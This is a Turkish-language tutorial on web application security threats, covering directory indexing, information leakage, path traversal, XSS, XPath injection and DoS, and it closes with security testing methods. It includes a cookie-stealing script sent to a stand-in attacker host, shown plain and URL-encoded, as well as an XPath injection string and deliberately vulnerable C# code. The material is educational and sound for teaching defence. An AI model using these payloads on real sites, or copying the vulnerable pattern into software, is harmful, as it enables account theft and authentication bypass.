Otomatik dizin listeleme/indeksleme, sitede esas dosya yoksa (index.html/home.html/default.htm), bir web sitesinin, talep edilen dizinin içerisindeki bütün dosyaları listelemesi şeklindeki gerçekleşen bir fonksiyonudur. Bir kullanıcı bir web sitesinin ana sayfasını talep ettiğinde, normalde URL kısmına şunları yazar: http://www.example.com – sadece etki alanı ismini kullanarak ve özel olarak dosya belirtmeyerek. Web sunucusu bu isteği değerlendirir ve dökümanın bulunduğu kök dizininde varsayılan dosyayı arar ve bu dosyayı kullanıcıya gönderir. Eğer bu dosya bulunamazsa, web sunucusu bir dizin listelemesi yapar ve sonuçları istemciye gönderir. 

Aslında, bu “ls” (Unix) veya “dir” (Windows) komutunun bu dizinde çalıştırılmasıyla eşdeğerdir ve sonuçları HTML biçiminde gösterir. Saldırı ve karşı tedbir gözüyle bakarsak, istenmeyen dizin listelemelerinin yazılım açıkları ile birleşen özel bir web talebi sonucunda ortaya çıkabileceğini anlamak önemlidir. (aşağıda, örnek bölümünde incelenecek.)

Web sunucusu dizin içeriğini gösterdiğinde, bu liste genele açık olmayan bilgiler de içerebilir. Çoğu zaman web yöneticileri “gizlilik üzerinden güvenlik” ilkesine uyarlar ve eğer dökümanlara ulaşan bağlar yoksa bulunamayacağını ve kimsenin bu dökümanları okuyamayacağını varsayarlar. Bu varsayım yanlıştır. Günümüzün açıklık tarayıcıları, örneğin Nikto, ilk incelemelerinin sonuçlarına göre yaptıkları taramalara dinamik olarak fazladan dizinler/dosyalar ekleyebilir. /robots.txt dosyasını tekrar inceleyerek ve/veya dizin indeksleme içeriğini inceleyerek, açıklık tarayıcı web sunucusunu bu yeni verilerle sorgulayabilir. Potansiyel olarak zararsıza olsa da, dizin indeksleme veri kaçağına ve böylece saldırgana, sisteme yapacağı sonraki saldırılarında gerekli olacak olan bilgilerin sağlanmasına sebep olabilir.

Örnek

Takip eden bilgiler dizin indeksleme sayesinde elde edilebilir:

Yedek Dosyalar - .bak, .old veya .orig uzantılı dosyalar.

Geçici Dosyalar – bu dosyaların normalde sunucu tarafından yok edilmesi gerekir fakat bazı sebeplerden dolayı hala erişilebilir durumdalar.

Gizli Dosyalar – “.” İle başlayan dosya isimleri

İsimlendirme kabulleri – saldırgan, web sitesinin kullandığı dizin veya dosya isimleri kompozisyonunu tanımlayabilir. Örnek: Admin vs. Admin, backup vs. back-up, vb.

Kullanıcı Hesaplarını Tarama – bir web sunucusundaki kişisel kullanıcı hesabının sahip olduğu dizin, çoğu zaman kullanıcının adı ile adlandırılır.

Konfigürasyon Dosyası İçeriği – bu dosyalar giriş kontrolu verilerini içerebilir ve uzantıları genellikle .conf, .cfg veya .config’dir.

Betik İçeriği – Birçok web sunucusu betiklerin bir yer belirtilerek(örn. /cgi-bin) veya sunucuyu konfigüre ederek dosya izinlerine bağlı olarak çalıştırılmasına izin verir (örn. *nix sistemlerdeki execute biti ve Apache’nin XbitHack direktifini kullanması). Bu seçeneklere göre, eğer cgi-bin klasöründe dizin indekslemesine izin veriliyorsa, izin olmadığı halde bu klasördeki betik kodları indirilebilir, izlenebilir.

Bir saldırganın istenmeyen bir dizinin listesini elde edebilmesi için 3 değişik senaryo vardır:

Web sunucusu hatalı bir şekilde dizin indkslenmesine izin verir şekilde konfigüre edilmiştir. Karışıklık, web yöneticisinin konfigürasyon dosyasındaki indeksleme direktiflerini ayarlarken ortaya çıkabilir. Bu kadar karmaşık bir sistemin ayarlarının yapılması sırasında istenmeyen sonuçların ortaya çıkması mümkündür, mesela özel bir alt dizine indeksleme hakkı verilirken sunucunun kalan kısmında bu hak kaldırılabilir. Saldırgan gözüyle HTTP isteği az önce yukarıda belirtilen (sadece etki alanı ile) şekilde yapılır. Bir dizin istenir ve istenen sonucun alınıp alınmadığına bakılır. Saldırganlar web sunucusunun “neden” bu şekilde konfiüre edildiği ile ilgilenmezler.

Web sunucusunun bazı parçaları kapalı olduğu halde ve indeks dosyası bulunduğu halde dizin indekslemeye izin verir. Bu, dizin indeksleme için geçerli olan tek sömürü örneği senaryosudur. Birçok web sunucusunda tanımlanan sayısız açıklık bulunmaktadır ve eğer özel HTTP talepleri gönderilirse dizin indeksi ile sonuçlanabilir.

Google’ın önbellek veritabanı bir web sitesinin eski taranmasından kalma, dizin indeksi de içerebilen tarihi veriler bulundurabilir

2) Bilgi Sızıntısı

Bir web sitesi hassas verileri ifşa ettiğinde, geliştirici yorumları veya hata mesajları gibi, bu veriler bir saldırganın sistemi sömürmesine yardımcı olabilir. Hassas veri, HTML yorumlarında, hata mesajlarında, kaynak HTML kodunda veya basitçe açık bir düzyazı alanında bulunabilir. Bir web sitesini bu türlü verileri ifşa ettirmeye yarayan birçok yol bulunur. Bu türlü sızıntılar, her zaman doğrudan bir güvenlik açığı olmadığı halde, saldırgana ileriki saldırılarında yararlı bir rehber olabilir. Hassas veri sızıntısı değişik seviyerlerde risk taşıdığından mümkün olduğu kadar önlenmelidir. 

Bilgi kaçağının ilk durumunda (HTML kodunda bırakılan yorumlar, hata mesajlarının açık edilmesi), açık; saldırgana dizin yapısı, SQL sorgu yapısı ve web sitesinin kullandığı anahtar işlemler hakkında yapısal bilgi verir. Çoğu zaman geliştirici HTML içerisine yorum veya hata ayıklama ve entegrasyon amaçlı betik kodu bırakır. Bu bilgi betiğin nasıl çalıştığını belirten yorumdan, en kötü durumda, geliştirmenin test aşmasında kullanılan kullanıcı adları ve parolalar olabilir. 

Bilgi sızıntısı, gizli zannedilen veriler için de, web sitesi tarafından düzgün bir biçimde korunmadığında geçerlidir. Bu veri, hesap numaraları, kullanıcı tanımlayıcıları (ehliyet numarası, pasaport numarası, kimlik numarası, vb.) ve kullanıcıya özel veri (hesap bakiyesi, adres ve işlem geçmişi, vb.) içerebilir. Yetersiz kimlik doğrulama, yetersiz yetkilendirme ve güvenli iletim şifrelenmesi de veriyi koruyan ve veriye erişimde düzgün kontrolü sağlayan mekanizmalardır. Birçok saldırı, müşteri saldırıları, sıradan gözlemciler, gibi, web sitesinin korunması kapsamının dışında kalır. Bilgi sızıntısı, bu bağlamda, açık bir şekilde kullanıcıya bile gösterilmemesi gereken, gizli ve anahtar kullanıcı verilerinin ifşa edilmesiyle ilgilenir. Kredi kartı numaraları, düzgün şifreleme ve giriş kontrolü yapılsa bile bu tür ifşalardan korunması gereken kullanıcı verilerinde önemli bir örnektir.

Örnek

Bilgi sızıntısı 3 ana kategoride incelenebilir: HTML kodunda bırakılan yorumlar, hata mesajlarının ifşası, açık bir şekilde görünebilen gizli veriler.

HTML kodunda bırakılan yorumlar:

<TABLE border="0" cellPadding="0" cellSpacing="0" 

height="59" width="591">

        <TBODY>

           <TR>

                <!--If the image files are missing, restart VADER -->

                <TD bgColor="#ffffff" colSpan="5" height="17" width="587">&nbsp;</TD>

            </TR>

Burada gördügümüz gibi, geliştirici/kalite kontrol personelinden birisi resim dosyalarının görüntülenememesi halinde neler yapılması gerektiğini belirten yorum bırakmıştır. Güvenlik açığı ise, yorumun içerisinde açık bir şekilde geçen sunucu ismidir, “VADER”.

Hata mesajlarının açık edilmesine örnek, geçersiz sorgulara verilen cevaplar olabilir. Çok bilinen bir örnek, SQL sorgularıyla ilişkilendirilmiş hata mesajlarıdır. SQL enjeksiyonu saldırıları, saldırganın, sitedeki SQL sorgularının oluşturulmasının yapısı ve biçimi hakkında ön-bilgi sahibi olmasını gerektirir. Açık edilen hata mesajlarındaki bilgi, saldırgana, arkadaki veritabanında geçerli SQL sorgularının nasıl oluşturulduğu hakkında önemli bilgi sağlar.

Takip eden bilgi bir giriş formundaki kullanıcı adı kısmına tek tırnak işareti konduğunda sunucu tarafından döndürülmüştür.

Açık hata mesajı:

An Error Has Occurred.

Error Message:

System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression 'username = ''' and password = 'g''. at  

System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling ( 

Int32 hr) at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult 

( tagDBPARAMS dbParams,  Object& executeResult) at…

İlk hata cümlesinde sözdizimi hatası rapor edilmiş. Hata mesajı SQL sorgusunda kullanılan sorgu parametrelerini açık etmektedir: username ve password. Bu ifşa edilen bilgi saldırganın siteye yapacağı SQL enjeksiyonu saldırılarına başlaması için gereken tek eksik parçadır.

3) Yol Takibi

Yol takibi saldırı tekniği web dökümanları kök dizininin dışında kalan dosyalara, dizinlere veya komutlara erişimi sağlar. Bir saldırgan URL’i öyle bir şekilde düzenleyebilir ki, web sitesi web sunucusu üzerindeki rastgele dosyaları çalıştırır veya görüntüler. HTTP-tabanlı arayüze sahip her makina potansiyel olarak “Yol Takibi”’ne açıktır.

Birçok web sitesi, dosya sisteminin sadece bir kısmına, genellikle “web dökümanı kök dizini” veya “CGI kök dizini” kısmını kullanıcı erişimine açar. Bu dizinler, kullanıcı erişimine açık dosyaları ve web uygulamasını çalıştırabilmek için gereken yürütülebilir dosyaları içerir. Dosya sistemindeki herhangi bir dosyaya ulaşabilmek veya komutu çalıştırabilmek için “Yol Takibi” saldırıları özel karakter dizilerini kullanır.

4) Tahmin Edilebilir Kaynak Konumu

Tahmin edilebilir kaynak konumu, web sitesinin gizli içeriğini veya işlevini açığa çıkarmak için kullanılan bir saldırı tekniğidir. Mantıklı tahminler yaparak, saldırı kamusal izlenime kapalı olan içeriği birer birer deneyerek arar. Geçici dosyalar, yedek dosyaları, konfigürasyon dosyaları, ve örnek dosyalar potansiyel olarak ortada bırakılmış dosyalara örnek olabilir. Bu birer birer deneyerek arama işlemi kolaydır çünkü gizli dosyalar genelde aynı şekilde isimlendirilir ve benzer yerlerde bulunur. Bu dosyalar web uygulamasının içeriği, veritabanı bilgisi, parolalar, makina isimleri, diğer hassas bölgelere olan dosya yolları hakkında hassas bilgileri içerebilir veya açıklıkları içerisinde bulundurabilir. Bu bilgilerin açığa çıkarılması saldırgan için çok değerlidir. 

Tahmin edilebilir kaynak konumu saldırısı Güçlü Tarama, Dosya Sıralama, Dizin Sıralama vb. olarak da bilinir.

Örnek

Herhangi bir saldırgan kamuya açık bir web sunucusuna rastgele dosya veya dizin talebinde bulunabilir. Kaynağın bulunup bulunmadığı web sunucusunun döndüğü HTTP dönüş kodları incelenerek bulunabilir. 

Birçok Yeri Tahmin Edilebilir Kaynak saldırı çeşidi bulunur.

Ortak dosya ve dizinlerin kör aranması:

/admin/

/backup/

/logs/

/açık_dosya.cgi

Bulnunan dosyalara uzantı ekleme: (/test.asp)

/test.asp.bak

/test.bak

/test

Siteler Arası Betik Yazma (XSS Cross Site Scripting)

Siteler arası (ötesi) betik yazma , web sitesinin saldırgan tarafından belirlenen çalıştırılabilir kodu normal bir kullanıcıya göndermesi ve bu kodun kullanıcı web tarayıcısında yüklenerek çalışmasıyla gerçekleşen bir saldırı çeşidir.

Kodun kendisi genellikle HTML/Javascript olarak yazılır ama VBScript, ActiveX, Java, Flash veya tarayıcı tarafından desteklenen başka teknolojilere de çevrilebilir.

Saldırgan, kodunun kullanıcı web tarayıcısında çalışmasını sağladığında, kod sunucu web sitesinin tarayıcı için tanımlı olduğu güvenlik zonu kapsamında çalışacaktır. Bu seviyedeki hak, kodun tarayıcı tarafından erişilen her türlü hassas veriyi okuma, değiştirme ve iletmesine olanak sağlar. XSS saldırısına maruz kalan kullanıcının hesabı çalınır (çerezin ele geçmesi), kullanıcının web tarayıcısı başka bir adrese yönlendirilir veya ziyaret edilen web sitenin sunduğu hileli içerik kullanıcıya gösterilir. XSS  saldırıları esasen kullanıcı ile web sitesi arasındaki güven ilişkisini bozar.

İki çeşit XSS saldırısı mevcuttur, kalıcı ve kalıcı olmayan. Kalıcı olmayan saldırılar kullanıcının sahte kod içeren özel olarak değiştirilmiş bağları ziyaret etmesini gerektirir. Bağ ziyaret edildiğinde, URL içine gömülü kod istemci tarafına gönderilir ve kod kullanıcının web tarayıcısında çalışır. Kalıcı XSS saldırılarında ise sahte kodlar belirli bir zaman depolandığı web sitesine sunulduğunda gerçekleşir. Mesaj panoları, web posta mesajları ve web chat yazılımları saldırganın favori hedefleri arasındadır. Şüpheli olmayan kullanıcının herhangi bir bağa tıklamasına gerek yoktur, sadece kodu içeren web sayfasını görmesi yeterlidir.

Örnek

Kalıcı saldırı

Bir çok web sitesi kayıtlı kullanıcıların mesaj yollayabildiği ilan panoları sunarlar. Kayıtlı kullanıcı, ilan göndermek için kendisine yetki veren çerez kullanılarak takip edilir. Eğer saldırgan özel olarak oluşturulmuş JavaScript kod içeren mesaj gönderirse, bu mesajı okuyan kullanıcının çerezleri ve hesabı istismar edilebilir.

Çerez Çalma Kod Parçacığı

<SCRIPT>

document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie

</SCRIPT>

Kalıcı Olmayan Saldırı

Bir çok web portalı web sitesinin kişiselleştirilmiş bir şeklini sunar ve siteye giren kullanıcıları “<İsminiz> Hoş Geldiniz” gibi bir ifade ile karşılar. 

Bazen giriş yapan kullanıcıyı belirleyen veri, URL'nin soru kelimesinde depolanır ve monitörde gösterilir.

Portal URL Örneği

http://portal.example/index.php?sessionid=12312312&username=Joe

Yukarıdaki örnekte kullanıcı isminin (“Joe”) URL’de yer aldığı görülmektedir. Oluşan web sayfasında “Joe, Hoş Geldin” mesajı görüntülenmektedir. Eğer saldırgan, kullanıcı ismi alanını çerez çalabilen bir JavaScript kodu yardımıyla değiştirebilirse, kullanıcı hesabının kontrolünü ele geçirme imkanına sahip olabilir.

Çoğu kişi URL’nin içerisine Javascript kodunun gömülü olduğunu gördüğünde şüphelendiğinden saldırganlar çoğunlukla kötü içerikli veriyi URL kodlamasıyla aşağıdaki örnekteki gibi kodlayabilir.

URL kodlamasıyla kodlanmış çerez çalma URL örneği:

http://portal.example/index.php?sessionid=12312312&

username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65

%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70

%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65

%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F

%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64

%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73

%63%72%69%70%74%3E

Çerez çalma URL örneğinin çözümlenmiş hali:

http://portal.example/index.php?sessionid=12312312&username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script>

Xpath Enjeksiyonu

XPath enjeksiyonu, kullanıcı kaynaklı girdilerden Xpath sorguları oluşturan web sitelerini sömürmek için kullanılan bir tekniktir.

Xpath 1.0 bir XML dökümanının parçalarını işaret etmek için kullanılabilir. Doğrudan uygulama tarafından bir XML dökümanını sorgulamak için kullanılabildiği gibi, XSTL dökümanının XML dökümanına dönüşümü veya XML dökümanına Xquery uygulanması gibi daha büyük bir işlemin parçası olarak da kullanılabilir.

Xpath’in sözdizimi bir SQL sorgusunu andırır, ve aslında, Xpath kullanarak bir xml dökümanında SQL benzeri sorgular oluşturmak mümkündür. Örneğin, kullanıcı isimli bir elemanı olan bir XML dökümanı olsun, ve bütün bu kullanıcıların isim, parola ve hesap isimli 3 tane alt elemanı olsun. Takip eden Xpath ifadesi “jsmith” isimli ve “Demo1234” parolalı kullanıcının hesap numarasını verir. (veya böyle bir kullanıcı yoksa boş dize verir.)

string(//user[isim/text()='jsmith' and parola/text()='Demo1234']/hesap/text())

Eğer bir uygulama, Xpath sorgusunu yürütme esnasında oluşturuyorsa, sorguya güvenli olmayan kullanıcı girdisi gömerek sorguya veri enjekte edebilir ve yeni oluşan sorgu programcının isteğinin dışında çalışabilir. 

Örnek

Bir web uygulaması bir XML dökümanına sorgu yapmak için Xpath kullanıyor ve ismi ve parolası girilen bir kullanıcının hesap numarasını getiriyor. Bu uygulama bu değerleri doğrudan Xpath sorgusunun içine gömebilir ve güvenlik açığı oluşturabilir.

İşte bir örnek (Microsoft ASP.NET ve C# kullanılarak)

XmlDocument XmlDoc = new XmlDocument();

XmlDoc.Load("...");

XPathNavigator nav = XmlDoc.CreateNavigator();

XPathExpression expr = nav.Compile("string(//kullanıcı[name/text()='"+TextBox1.Text+"' 

and password/text()='"+TextBox2.Text+ "']/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));


if (account=="") {


// name+password pair is not found in the XML document 


// login failed.

} else {


// account found -> Login succeeded. 


// Proceed into the application.

}

Bu kod kullanıldığında, bir saldırgan Xpath ifadeleri enjekte edebilir ve, örneğin, takip eden değeri kullanıcı adı olarak sağlayabilir.

 ' or 1=1 or ''='

Bu orjinal Xpath in anlamının değişmesine, ve her zaman XML dökümanındaki ilk hesap numarasının dönmesine sebep olur. Bu durumda sorgu, 

string(//kullanıcı[isim/text()='' or 1=1 or ''='' and parola/text()='foobar']/hesap/text())

Bu, (önermedeki eşitlik her zaman doğru olacağından), şununla eşdeğerdir:

string(//kullanıcı/hesap/text())

ve ilk //kullanıcı/hesap/text() örneğini döndürür.

Bu yüzden, saldırı, doğru kullanıcı adı ve parolası girmediği halde saldırganı sisteme sokar (XML dökümanındaki ilk kullanıcı olarak). 

Servis Dışı Bırakma

Servis Dışı Bırakma (DoS) bir web sitesini normal kullanıcı aktivitesinden alıkoymak amacı ile yapılan bir saldırı tekniğidir. Genel olarak network tabakasına kolaylıkla uygulanabilen DoS saldırıları uygulama tabakasında da mümkündür. Bu kötü niyetli saldırılar bir sistemi kritik kaynaklarından mahrum bırakarak, bir açıklığın gerçekleyerek veya bir fonksiyonu suistimal ederek başarıya ulaşabilirler.

Bir çok zaman DoS saldırıları bir web sitesinin varolan bütün sistem kaynaklarını bitirmeye çalışırlar, bu kaynaklara örnek olarak; CPU, hafıza, disk yeri, v.b. verilebilir. Bu kritik kaynaklardan herhangi biri tam güç kullanıldığında, web sitesi normal olarak erişilemez olacaktır.

Örnek

Medikal geçmiş raporu üreten bir Sağlık Bakımı web sitesi düşünün. Web sitesi, her rapor isteğinde, tek bir sosyal güvenlik numarasına karşılık gelen bütün kayıtları getirmesi için bir veritabanını sorgulamaktadır. Veritabanında bütün kullanıcılar için yüzbinlerce kayıt tutulduğundan, kullanıcılar kendi kayıtlarını görebilmek için 3dk beklemek zorundadırlar. Bu 3dk boyunca, karşılık gelen kayıtları ararken, veritabanı sunucusunun CPU'su %60 yoğunlukla çalışmaktadır.

Basit bir uygulama tabakası DoS saldırısı, medikal geçmiş raporu üretilmesi için 10 isteğin aynı anda gönderilmesi olacaktır. Bu istekler, veritabanı sunucusunun CPU'sunu %100 yoğunluğa ulaştıracağından web sitesini büyük bir ihtimalle hizmet dışı durumuna sokacaktır. Bu noktada sistem normal kullanıcı aktivitesine servis veremez hale gelecektir.

1. Belli bir Kullanıcıyı Hedef Alan DoS

Saldırgan belli bir kullanıcı adı ve bilinçli olarak üretilmiş yanlış bir parola ile bir web sitesine girmek isteyecektir. Bu işlem en sonunda kullanıcı adı kullanılan kişinin hesabını kitleyecektir.

2. Veritabanını Hedef Alan DoS

Saldırgan veritabanını değiştirip sistemi kullanılmaz hale getirmek (Bütün veriyi, kullanıcı adlarını silerek, v.b.) için SQL Enjeksiyonu tekniklerini kullanacaktır.

3. Web Sunucusunu Hedef Alan DoS

Saldırgan, web sunucusu işini (proses) sonlandıran özel olarak hazırlanmış bir istek göndermek için arabellek taşması tekniklerini kullanacak ve sistemi normal kullanıcı aktivitelerine erişilmez hale getirecektir.

2.1.3 Kurulum ve Yayılım

Kurulum
· Yükleyici kullanarak kurulum 

· Talimatlara göre kurulum

· Zip dosyası ya da farklı bir arşiv kullanarak kurulum
Yayılım

· Güvenli ortam

· Güvensiz ortam – Üçüncü parti paylaşımlı hosting ortamı

Kurulumu yapılmış uygulamaların kurulumu ve çalışması sırasında dosyalara erişim haklarına ve kayıt anahtarlarına sahip olması gerekmektedir. Uygulamanın kurulumu esnasında sisteme erişim haklarına sahip olan uygulamanın herhangi bir saldırganın yararlanabileceği bir açık içermemesi gerekir.  Bu nedenle kurulum araçlarının dosyalara, yeni kurulmuş veritabanı sistemlerine ve kayıt anahtarlarına verdikleri izinler control edilmelidir. Unix sistemine sahip makinelerde kullanıcı maskesi adı altında yeni yaratılan izin dosyalarına erişimin nasıl olacağı tanımlanmıştır. Eğer kullanıcıya kurulum esnasında verilcek haklar sistemi tehdit edebilecek türdense test aşamasında bu güvenlik açığı belirlenmelidir. 
3. Sonuç
Güvenlik analizi ve testi geniş ölçekte teknik, teknolojilerin ve kaynakların kullanılması durumunda geniş bir uygulama için çok etkilidir. Bu teknikler şunları içerir:
· Beyaz kutu güvenlik testleri: Uygulama kodunun gözden geçirilmesi şeklindedir. Gözden geçirme esnasında uygulamanın fault enjeksiyona açık yönleri ve derlenme zamanı test edilir.

·  Kara kutu güvenlik test teknikleri: Kara kutu güvenklik teknikleri penetrasyon testi, fuzz testi ve otomatik zayıflık taraması olarak sistemin tümüne uygulanan güvenlik sınama teknikleridir.
· Fuzz Testi : Programa doğru gibi gözüken rastgele giriş verileri gönderilir ve bu otomotikleştirilerek başarı şansı artırılır 
· Tersine Mühendislik: Tersine mühendislik diğer güvenlik test tekniklerine oranla daha zor ve daha fazla zaman alıcı işlemler bütünüdür. Yüksek riskli, yüksek öneme sahip yazılımların test edilmesinde kullanılır.

Sonuç olarak yazılım güvenlik testleri yazılım geliştirme sürecinde standart test aktivitelerine dahil edilmeli, yukarıda bahsedilen yazılım güvenliğini tehdit edebilecek durumlar karşısında uygulamanın cevabı sınanmalıdır. Sınama aktivitelerinden sonra yazılım geliştiricileri ve yöneticiler için raporlama yapılmalıdır.
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